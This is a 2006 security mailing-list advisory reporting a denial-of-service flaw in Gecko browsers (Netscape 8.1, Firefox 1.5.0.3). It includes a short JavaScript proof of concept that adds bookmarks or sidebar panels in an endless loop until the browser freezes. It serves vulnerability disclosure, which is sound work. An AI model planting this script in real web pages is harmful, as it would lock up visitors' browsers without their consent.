[NEWS] Gecko AddFavorite Function DoS

SecuriTeam <[email protected]> 21 May 2006 11:01:00 +0200
Newsgroups gmane.comp.security.securiteam
Message-ID <[email protected]>
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Gecko AddFavorite Function DoS
------------------------------------------------------------------------


SUMMARY

By using an endless loop to add bookmarks to the sidebar or the bookmarks 
on Gecko based browsers, attackers can cause a DoS condition and cause 
Gecko based browsers to freeze.

DETAILS

Vulnerable Systems:
 * Netscape Browser version 8.1
 * Firefox version 1.5.0.3

By using endless loop with Gecko based web browsers to add new sidebar or 
bookmark, it is possible to cause Gecko to stop responding.

Proof of Concept:
< script language="JavaScript1.2" type="text/javascript" >

function MainPageBookmark()
{
  title="Gianni Amato";
  url="http://www.gianniamato.it/";

  if (window.sidebar) {
    window.sidebar.addPanel(title, url,"");
  }
  else if( window.external )
  {
    window.external.AddFavorite( url, title);
  }
  else if (window.opera && window.print)
  {
    return true;
  }
}

for (k=0;k<k+1;k++) MainPageBookmark();
< / script>


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> Gianni 
Amato,  <mailto:[email protected]> Juha-Matti Laurio.
The original article can be found at:  
<http://www.milw0rm.com/exploits/1802> 
http://www.milw0rm.com/exploits/1802



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] 
In order to subscribe to the mailing list, simply forward this email to: [email protected] 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any kind. 
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.